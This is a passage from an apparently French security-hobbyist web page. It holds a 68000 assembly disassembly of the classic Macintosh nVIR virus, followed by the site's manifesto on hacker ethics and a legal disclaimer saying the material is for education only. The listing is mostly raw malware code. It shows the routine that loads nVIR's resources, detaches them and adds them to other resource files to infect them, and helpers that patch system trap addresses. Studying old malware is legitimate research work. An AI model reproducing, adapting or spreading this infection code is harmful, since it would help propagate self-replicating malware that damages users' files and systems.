0052: 	_GetResource	
0054: 	MOVE.L	(A7)+,$FFDC(A6)
0058: 	BNE.S	L010E
005A: 	CLR.L	-(A7)
005C: 	MOVEQ	$02,D0
005E: 	MOVE.L	D0,-(A7)
0060: 	JSR	locProc7
0064: 	MOVE.L	(A7)+,$FFDC(A6)
0068: 	BEQ	L0560
006C: 	MOVEA.L	$FFDC(A6),A0
0070: 	MOVEA.L	(A0),A0
0072: 	MOVE.W	#$03E8,(A0)
0076: 	MOVE.L	$FFDC(A6),-(A7)
007A: 	MOVE.L	L058C,-(A7)
007E: 	CLR.W	-(A7)
0080: 	PEA	L058A
0084: 	_AddResource	
0086: 	CLR.W	-(A7)
0088: 	_ResError	
008A: 	TST.W	(A7)+
008C: 	BNE	L0560
0090: L010E	MOVEA.L	$FFDC(A6),A0
0094: 	MOVEA.L	(A0),A0
0096: 	TST.W	(A0)
0098: 	BNE.S	L011C
009A: 	MOVEQ	$01,D5
009C: 	BRA.S	L0134
009E: L011C	MOVEA.L	$FFDC(A6),A0
00A2: 	MOVEA.L	(A0),A0
00A4: 	SUBQ.W	#1,(A0)
00A6: 	MOVE.L	$FFDC(A6),-(A7)
00AA: 	_ChangedResource	
00AC: 	CLR.W	-(A7)
00AE: 	_ResError	
00B0: 	TST.W	(A7)+
00B2: 	BNE	L0560
00B6: L0134	MOVE.W	D6,-(A7)
00B8: 	_UseResFile	
00BA: 	MOVE.L	A4,-(A7)
00BC: 	JSR	locProc6
00C0: 	MOVE.B	D5,-(A7)
00C2: 	_SetResLoad	
00C4: 	CLR.L	-(A7)
00C6: 	MOVE.L	L058C,-(A7)
00CA: 	MOVE.W	#$0006,-(A7)
00CE: 	_GetResource	
00D0: 	MOVE.L	(A7)+,$FFF4(A6)
00D4: 	BEQ	L0560
00D8: 	MOVE.B	D5,D0
00DA: 	BEQ.S	L0162
00DC: 	PEA	$FFD0(A6)
00E0: 	JSR	locProc14
00E4: L0162	MOVE.B	D5,D0
00E6: 	BEQ.S	L01C8
00E8: 	MOVEQ	$0F,D1
00EA: 	AND.L	D1,$FFD0(A6)
00EE: 	TST.L	D1
00F0: 	SEQ	D1
00F2: 	AND.B	D1,D0
00F4: 	BEQ.S	L01C8
00F6: 	CLR.L	-(A7)
00F8: 	MOVEA.L	$FFF4(A6),A0
00FC: 	MOVEA.L	(A0),A0
00FE: 	MOVE.L	(A0),-(A7)
0100: 	JSR	locProc7
0104: 	MOVE.L	(A7)+,$FFFC(A6)
0108: 	SNE	D0
010A: 	TST.B	D0
010C: 	BEQ.S	L01C8
010E: 	MOVE.L	D0,-(A7)
0110: 	CLR.W	-(A7)
0112: 	MOVE.W	$0220,(A7)
0116: 	MOVE.W	(A7)+,D1
0118: 	MOVE.L	(A7)+,D0
011A: 	TST.W	D1
011C: 	SEQ	D1
011E: 	AND.B	D1,D0
0120: 	BEQ.S	L01C8
0122: 	MOVE.L	$FFFC(A6),-(A7)
0126: 	JSR	locProc8
012A: 	MOVE.L	$FFF4(A6),-(A7)
012E: 	JSR	locProc9
0132: 	MOVE.B	D7,-(A7)
0134: 	MOVEA.L	$FFF4(A6),A0
0138: 	MOVE.L	(A0),D0
013A: 	ADDQ.L	#4,D0
013C: 	MOVE.L	D0,-(A7)
013E: 	JSR	locProc4
0142: 	MOVE.L	$FFF4(A6),-(A7)
0146: 	JSR	locProc10
014A: L01C8	CLR.W	-(A7)
014C: 	_SetResLoad	
014E: 	CLR.L	-(A7)
0150: 	MOVE.L	$02A6,(A7)
0154: 	JSR	locProc6
0158: 	MOVE.B	D7,D0
015A: 	EXT.W	D0
015C: 	SUBQ.W	#1,D0
015E: 	BEQ.S	L01EC
0160: 	SUBQ.W	#1,D0
0162: 	BEQ	L0274
0166: 	SUBQ.W	#1,D0
0168: 	BEQ.S	L0230
016A: 	BRA	L0284
016E: L01EC	CLR.L	-(A7)
0170: 	MOVE.L	L0590,-(A7)
0174: 	MOVE.W	#$0020,-(A7)
0178: 	_GetResource	
017A: 	MOVE.L	(A7)+,$FFEC(A6)
017E: 	BNE	L0560
0182: 	MOVE.L	$FFEC(A6),-(A7)
0186: 	_ReleaseResource	
0188: 	CLR.L	-(A7)
018A: 	MOVE.L	L058C,-(A7)
018E: 	MOVE.W	#$0003,-(A7)
0192: 	_GetResource	
0194: 	MOVE.L	(A7)+,$FFE8(A6)
0198: 	BEQ	L0560
019C: 	CLR.L	-(A7)
019E: 	MOVE.L	L0586,-(A7)
01A2: 	MOVE.W	#$0100,-(A7)
01A6: 	_GetResource	
01A8: 	MOVE.L	(A7)+,$FFEC(A6)
01AC: 	BEQ	L0560
01B0: 	BRA.S	L0294
01B2: L0230	CLR.L	-(A7)
01B4: 	MOVE.L	L0586,-(A7)
01B8: 	MOVE.W	#$0100,-(A7)
01BC: 	_GetResource	
01BE: 	MOVE.L	(A7)+,$FFE8(A6)
01C2: 	BNE	L0560
01C6: 	MOVE.L	$FFE8(A6),-(A7)
01CA: 	_ReleaseResource	
01CC: 	CLR.L	-(A7)
01CE: 	MOVE.L	L0590,-(A7)
01D2: 	MOVE.W	#$0020,-(A7)
01D6: 	_GetResource	
01D8: 	MOVE.L	(A7)+,$FFE8(A6)
01DC: 	BEQ	L0560
01E0: 	CLR.L	-(A7)
01E2: 	MOVE.L	L058C,-(A7)
01E6: 	MOVE.W	#$0004,-(A7)
01EA: 	_GetResource	
01EC: 	MOVE.L	(A7)+,$FFEC(A6)
01F0: 	BEQ	L0560
01F4: 	BRA.S	L0294
01F6: L0274	MOVE.B	#$01,-(A7)
01FA: 	_SetResLoad	
01FC: 	MOVE.L	A6,-(A7)
01FE: 	JSR	locProc2
0202: 	BRA	L0560
0206: L0284	MOVE.W	#$001E,-(A7)
020A: 	_SysBeep	
020C: 	MOVE.W	#$001E,-(A7)
0210: 	_SysBeep	
0212: 	BRA	L0560
0216: L0294	CLR.L	-(A7)
0218: 	MOVE.L	L058C,-(A7)
021C: 	MOVE.W	#$0001,-(A7)
0220: 	_GetResource	
0222: 	MOVE.L	(A7)+,$FFE0(A6)
0226: 	BEQ	L0560
022A: 	CLR.L	-(A7)
022C: 	MOVE.L	L058C,-(A7)
0230: 	MOVE.W	#$0007,-(A7)
0234: 	_GetResource	
0236: 	MOVE.L	(A7)+,$FFF8(A6)
023A: 	BEQ	L0560
023E: 	MOVEQ	$01,D0
0240: 	CMP.B	D7,D0
0242: 	BNE.S	L02D6
0244: 	CLR.L	-(A7)
0246: 	MOVE.L	L058C,-(A7)
024A: 	MOVE.W	#$0002,-(A7)
024E: 	_GetResource	
0250: 	MOVE.L	(A7)+,$FFE4(A6)
0254: 	BEQ	L0560
0258: L02D6	MOVEQ	$03,D0
025A: 	CMP.B	D7,D0
025C: 	BNE.S	L02F0
025E: 	CLR.L	-(A7)
0260: 	MOVE.L	L058C,-(A7)
0264: 	MOVE.W	#$0005,-(A7)
0268: 	_GetResource	
026A: 	MOVE.L	(A7)+,$FFF0(A6)
026E: 	BEQ	L0560
0272: L02F0	MOVEQ	$03,D0
0274: 	CMP.B	D7,D0
0276: 	BNE.S	L02FC
0278: 	MOVE.W	D6,-(A7)
027A: 	_UseResFile	
027C: 	BRA.S	L0300
027E: L02FC	CLR.W	-(A7)
0280: 	_UseResFile	
0282: L0300	MOVE.B	#$01,-(A7)
0286: 	_SetResLoad	
0288: 	MOVE.L	$FFE0(A6),-(A7)
028C: 	_LoadResource	
028E: 	CLR.W	-(A7)
0290: 	_ResError	
0292: 	TST.W	(A7)+
0294: 	BNE	L0560
0298: 	MOVE.L	$FFE0(A6),-(A7)
029C: 	_DetachResource	
029E: 	MOVE.L	$FFE0(A6),-(A7)
02A2: 	MOVE.L	L058C,-(A7)
02A6: 	MOVE.W	#$0001,-(A7)
02AA: 	PEA	L058A
02AE: 	_AddResource	
02B0: 	CLR.W	-(A7)
02B2: 	_ResError	
02B4: 	TST.W	(A7)+
02B6: 	BNE	L0560
02BA: 	MOVEQ	$03,D0
02BC: 	CMP.B	D7,D0
02BE: 	BNE.S	L0392
02C0: 	CLR.L	-(A7)
02C2: 	MOVE.L	L0586,-(A7)
02C6: 	CLR.W	-(A7)
02C8: 	_GetResource	
02CA: 	MOVE.L	(A7)+,$FFFC(A6)
02CE: 	BEQ	L0560
02D2: 	CLR.L	-(A7)
02D4: 	MOVEQ	$08,D0
02D6: 	MOVE.L	D0,-(A7)
02D8: 	JSR	locProc7
02DC: 	MOVE.L	(A7)+,$FFE4(A6)
02E0: 	BEQ	L0560
02E4: 	MOVEA.L	$FFFC(A6),A0
02E8: 	MOVEA.L	(A0),A0
02EA: 	MOVEA.L	$FFE4(A6),A1
02EE: 	MOVEA.L	(A1),A1
02F0: 	LEA	$0010(A0),A0
02F4: 	MOVE.L	(A0)+,(A1)+
02F6: 	MOVE.L	(A0)+,(A1)+
02F8: 	MOVE.L	$FFE4(A6),-(A7)
02FC: 	MOVE.L	L058C,-(A7)
0300: 	MOVE.W	#$0002,-(A7)
0304: 	PEA	L058A
0308: 	_AddResource	
030A: 	CLR.W	-(A7)
030C: 	_ResError	
030E: 	TST.W	(A7)+
0310: 	BNE	L0560
0314: L0392	MOVE.L	$FFE8(A6),-(A7)
0318: 	_LoadResource	
031A: 	CLR.W	-(A7)
031C: 	_ResError	
031E: 	TST.W	(A7)+
0320: 	BNE	L0560
0324: 	MOVE.L	$FFE8(A6),-(A7)
0328: 	_DetachResource	
032A: 	MOVEQ	$03,D0
032C: 	CMP.B	D7,D0
032E: 	BNE.S	L03C2
0330: 	MOVE.L	$FFE8(A6),-(A7)
0334: 	MOVE.L	L058C,-(A7)
0338: 	MOVE.W	#$0003,-(A7)
033C: 	PEA	L058A
0340: 	_AddResource	
0342: 	BRA.S	L03FE
0344: L03C2	MOVE.L	$FFE8(A6),-(A7)
0348: 	MOVE.L	L0590,-(A7)
034C: 	MOVE.W	#$0020,-(A7)
0350: 	PEA	L058A
0354: 	_AddResource	
0356: 	CLR.W	-(A7)
0358: 	_ResError	
035A: 	TST.W	(A7)+
035C: 	BNE	L0560
0360: 	MOVE.L	$FFE8(A6),-(A7)
0364: 	MOVEQ	$00,D0
0366: 	MOVE.L	D0,-(A7)
0368: 	CLR.W	-(A7)
036A: 	MOVE.L	$FFE8(A6),-(A7)
036E: 	_GetResAttrs	
0370: 	MOVE.W	(A7)+,D1
0372: 	MOVE.L	(A7)+,D0
0374: 	MOVE.W	D1,D0
0376: 	OR.L	#$00000010,D0
037C: 	MOVE.W	D0,-(A7)
037E: 	_SetResAttrs	
0380: L03FE	CLR.W	-(A7)
0382: 	_ResError	
0384: 	TST.W	(A7)+
0386: 	BNE	L0560
038A: 	MOVE.L	$FFEC(A6),-(A7)
038E: 	_LoadResource	
0390: 	CLR.W	-(A7)
0392: 	_ResError	
0394: 	TST.W	(A7)+
0396: 	BNE	L0560
039A: 	MOVE.L	$FFEC(A6),-(A7)
039E: 	_DetachResource	
03A0: 	MOVEQ	$03,D0
03A2: 	CMP.B	D7,D0
03A4: 	BNE.S	L0438
03A6: 	MOVE.L	$FFEC(A6),-(A7)
03AA: 	MOVE.L	L0586,-(A7)
03AE: 	MOVE.W	#$0100,-(A7)
03B2: 	PEA	L058A
03B6: 	_AddResource	
03B8: 	BRA.S	L044A
03BA: L0438	MOVE.L	$FFEC(A6),-(A7)
03BE: 	MOVE.L	L058C,-(A7)
03C2: 	MOVE.W	#$0004,-(A7)
03C6: 	PEA	L058A
03CA: 	_AddResource	
03CC: L044A	CLR.W	-(A7)
03CE: 	_ResError	
03D0: 	TST.W	(A7)+
03D2: 	BNE	L0560
03D6: 	MOVEQ	$01,D0
03D8: 	CMP.B	D7,D0
03DA: 	BNE.S	L04BC
03DC: 	CLR.L	-(A7)
03DE: 	MOVEQ	$08,D0
03E0: 	MOVE.L	D0,-(A7)
03E2: 	JSR	locProc7
03E6: 	MOVE.L	(A7)+,$FFF0(A6)
03EA: 	BEQ	L0560
03EE: 	MOVE.W	D6,-(A7)
03F0: 	_UseResFile	
03F2: 	CLR.L	-(A7)
03F4: 	MOVE.L	L0586,-(A7)
03F8: 	CLR.W	-(A7)
03FA: 	_GetResource	
03FC: 	MOVE.L	(A7)+,$FFFC(A6)
0400: 	BEQ	L0560
0404: 	CLR.W	-(A7)
0406: 	_UseResFile	
0408: 	MOVEA.L	$FFFC(A6),A0
040C: 	MOVEA.L	(A0),A0
040E: 	MOVEA.L	$FFF0(A6),A1
0412: 	MOVEA.L	(A1),A1
0414: 	LEA	$0010(A0),A0
0418: 	MOVE.L	(A0)+,(A1)+
041A: 	MOVE.L	(A0)+,(A1)+
041C: 	MOVE.L	$FFF0(A6),-(A7)
0420: 	MOVE.L	L058C,-(A7)
0424: 	MOVE.W	#$0005,-(A7)
0428: 	PEA	L058A
042C: 	_AddResource	
042E: 	CLR.W	-(A7)
0430: 	_ResError	
0432: 	TST.W	(A7)+
0434: 	BNE	L0560
0438: 	MOVE.L	$FFFC(A6),-(A7)
043C: 	_ReleaseResource	
043E: L04BC	MOVE.L	$FFF4(A6),-(A7)
0442: 	_LoadResource	
0444: 	CLR.W	-(A7)
0446: 	_ResError	
0448: 	TST.W	(A7)+
044A: 	BNE	L0560
044E: 	MOVE.L	$FFF4(A6),-(A7)
0452: 	_DetachResource	
0454: 	MOVE.L	$FFF4(A6),-(A7)
0458: 	MOVE.L	L058C,-(A7)
045C: 	MOVE.W	#$0006,-(A7)
0460: 	PEA	L058A
0464: 	_AddResource	
0466: 	CLR.W	-(A7)
0468: 	_ResError	
046A: 	TST.W	(A7)+
046C: 	BNE.S	L0560
046E: 	MOVE.L	$FFF8(A6),-(A7)
0472: 	_LoadResource	
0474: 	CLR.W	-(A7)
0476: 	_ResError	
0478: 	TST.W	(A7)+
047A: 	BNE.S	L0560
047C: 	MOVE.L	$FFF8(A6),-(A7)
0480: 	_DetachResource	
0482: 	MOVE.L	$FFF8(A6),-(A7)
0486: 	MOVE.L	L058C,-(A7)
048A: 	MOVE.W	#$0007,-(A7)
048E: 	PEA	L058A
0492: 	_AddResource	
0494: 	CLR.W	-(A7)
0496: 	_ResError	
0498: 	TST.W	(A7)+
049A: 	BNE.S	L0560
049C: 	MOVEQ	$03,D0
049E: 	CMP.B	D7,D0
04A0: 	BNE.S	L0560
04A2: 	MOVE.L	$FFF0(A6),-(A7)
04A6: 	_LoadResource	
04A8: 	CLR.W	-(A7)
04AA: 	_ResError	
04AC: 	TST.W	(A7)+
04AE: 	BNE.S	L0560
04B0: 	MOVE.L	$FFF0(A6),-(A7)
04B4: 	JSR	locProc11
04B8: 	CLR.L	-(A7)
04BA: 	MOVE.L	L0586,-(A7)
04BE: 	CLR.W	-(A7)
04C0: 	_GetResource	
04C2: 	MOVE.L	(A7)+,$FFFC(A6)
04C6: 	BEQ.S	L0560
04C8: 	MOVEA.L	$FFF0(A6),A0
04CC: 	MOVEA.L	(A0),A0
04CE: 	MOVEA.L	$FFFC(A6),A1
04D2: 	MOVEA.L	(A1),A1
04D4: 	LEA	$0010(A1),A1
04D8: 	MOVE.L	(A0)+,(A1)+
04DA: 	MOVE.L	(A0)+,(A1)+
04DC: 	MOVE.L	$FFFC(A6),-(A7)
04E0: 	_ChangedResource	
04E2: L0560	CLR.W	-(A7)
04E4: 	_CurResFile	
04E6: 	_UpdateResFile	
04E8: 	MOVE.W	D6,-(A7)
04EA: 	_UseResFile	
04EC: 	MOVE.L	A4,-(A7)
04EE: 	JSR	locProc6
04F2: 	MOVEM.L	(A7)+,D5-D7/A4
04F6: 	UNLK	A6
04F8: 	MOVEA.L	(A7)+,A0
04FA: 	ADDQ.W	#6,A7
04FC: 	JMP	(A0)
04FE: 	.WORD	$C94E,$5354,$2020,$2020	;[.NST    ]
0506: 	.WORD	$E,$434F,$4445,0	;[..CODE..]
050E: L058C	.WORD	$6E56,$4952,$494E,$4954	;[nVIRINIT]

;Seg 5 = nVIR ID# 7 proc 4 of 14 (local)

0000: L0594	MOVEA.L	(A7)+,A0
0002: 	MOVEA.L	(A7),A1
0004: 	MOVE.L	A0,(A7)
0006: 	JMP	(A1)

;Seg 5 = nVIR ID# 7 proc 5 of 14 (local)

0000: L059C	_GetZone	
0002: 	MOVE.L	A0,$0004(A7)
0006: 	JMP	L05BE

;Seg 5 = nVIR ID# 7 proc 6 of 14 (local)

0000: L05A6	MOVEA.L	(A7)+,A1
0002: 	MOVEA.L	(A7)+,A0
0004: 	_SetZone	
0006: 	JMP	L05BC
000A: 	MOVEA.L	(A7)+,A1
000C: 	MOVE.L	(A7)+,D0
000E: 	_CompactMem	
0010: 	MOVE.L	D0,(A7)
0012: 	NOP	
0014: 	MOVEQ	$00,D0
0016: L05BC	MOVE.L	A1,-(A7)
0018: L05BE	MOVE.W	D0,$0220
001C: 	RTS	
001E: 	.WORD	$7000,$60F6	;[p.`.....]

;Seg 5 = nVIR ID# 7 proc 7 of 14 (local)

0000: L05C8	MOVEA.L	(A7)+,A1
0002: 	MOVE.L	(A7)+,D0
0004: 	_NewHandle	
0006: 	MOVE.L	A0,(A7)
0008: 	JMP	L05BC

;Seg 5 = nVIR ID# 7 proc 8 of 14 (local)

0000: L05D4	MOVEA.L	(A7)+,A1
0002: 	MOVEA.L	(A7)+,A0
0004: 	_DisposHandle	
0006: 	JMP	L05BC

;Seg 5 = nVIR ID# 7 proc 9 of 14 (local)

0000: L05DE	MOVEA.L	(A7)+,A1
0002: 	MOVEA.L	(A7)+,A0
0004: 	_HLock	
0006: 	JMP	L05BC

;Seg 5 = nVIR ID# 7 proc 10 of 14 (local)

0000: L05E8	MOVEA.L	(A7)+,A1
0002: 	MOVEA.L	(A7)+,A0
0004: 	_HUnLock	
0006: 	JMP	L05BC

;Seg 5 = nVIR ID# 7 proc 11 of 14 (local)

0000: L05F2	MOVEA.L	(A7)+,A1
0002: 	MOVEA.L	(A7)+,A0
0004: 	_HNoPurge	
0006: 	JMP	L05BC

;Seg 5 = nVIR ID# 7 proc 12 of 14 (local)

0000: L05FC	MOVEA.L	(A7)+,A1
0002: 	MOVE.W	(A7)+,D0
0004: 	_GetTrapAddress	
0006: 	MOVE.L	A0,(A7)
0008: 	JMP	(A1)

;Seg 5 = nVIR ID# 7 proc 13 of 14 (local)

0000: L0606	MOVEA.L	(A7)+,A1
0002: 	MOVE.W	(A7)+,D0
0004: 	MOVEA.L	(A7)+,A0
0006: 	_SetTrapAddress	
0008: 	JMP	(A1)

;Seg 5 = nVIR ID# 7 proc 14 of 14 (local)

0000: L0610	MOVEA.L	(A7)+,A1
0002: 	MOVEA.L	(A7)+,A0
0004: 	MOVE.L	$020C,(A0)
0008: 	JMP	(A1)

Manifest
Le but de ce site est de mieux comprendre la sécurité informatique.
Un hacker par définition est une personne qui cherche à améliorer les systèmes d'information dans le seul et unique but de contribuer à la stabilité de ces systèmes!
La croyance populaire laisse entendre que les hackers sont des pirates.
C'est vrai. Mais il y a différents types de pirate.
Tout comme il y a différents types de personnes.
Les bavures courantes auxquelles on pense lorsqu'on évoque le terme de pirate informatique
seraient les hacks de compte msn, ordinateurs lâchement trojantés avec des exploits déjà tous faits
et encore peut-on classifier en tant que hack le fait de spammer
alors que depuis plus de 15 ans des scripts tous faits le font extrêmement bien?

Ce ne sont pas des hackers qui font ça!!!
Nous appelons ces gens des lammers! Quand ils sont mauvais,
ou des black hat lorsqu'ils sont doués dans la mise en application de leurs méfaits.
Aucun amour propre - Aucune dignité
Agissent par dégout, vengeance ou simple plaisir.
Les raisons peuvent être nombreuses et je ne prétends pas devoir juger qui que ce soit.
Je pense juste que l'on ne doit pas utiliser l'épée de fly pour commettre des injustices.
Il est 100 fois plus profitable d'améliorer un système que de marcher sur un château de sable... même si marcher sur un château de sable est rigolo :P
A vous de trouver votre amusement. ;)

Tu peux réagir sur la shootbox


Disclaimer Veuillez lire obligatoirement les règles ci-dessous avant de consulter ce site.
Conformément aux dispositions des différentes lois en vigueur, intrusions et maintenances frauduleuses sur un site, vol et / ou falsification de données.
Vous ne devez en aucun cas mettre en application les stratagèmes mis en place par ce site, qui sont présentés uniquement à titre d’éducation et de recherche dans le domaine de la protection de données.
Vous ne devez en aucun cas utiliser ce que vous aurez découvert, sauf si vous avez une autorisation écrite de l’administrateur d’un site ou que celui-ci vous ai ouvert un compte uniquement pour la recherche de failles.
Tout cela est interdit et illégal ne faites pas n'importe quoi.
Vous acceptez donc que l'administrateur de ce site n'est en aucun cas responsable d'aucun de vos actes. Sinon quittez ce site.
Vous êtes soumis à ce disclaimer.
ET À CE TITRE, NI LA COMMUNAUTÉ, NI L'ADMINISTRATEUR, NI L'HÉBERGEUR, NE POURRONT, NI NE SERONT RESPONSABLE DE VOS ACTES.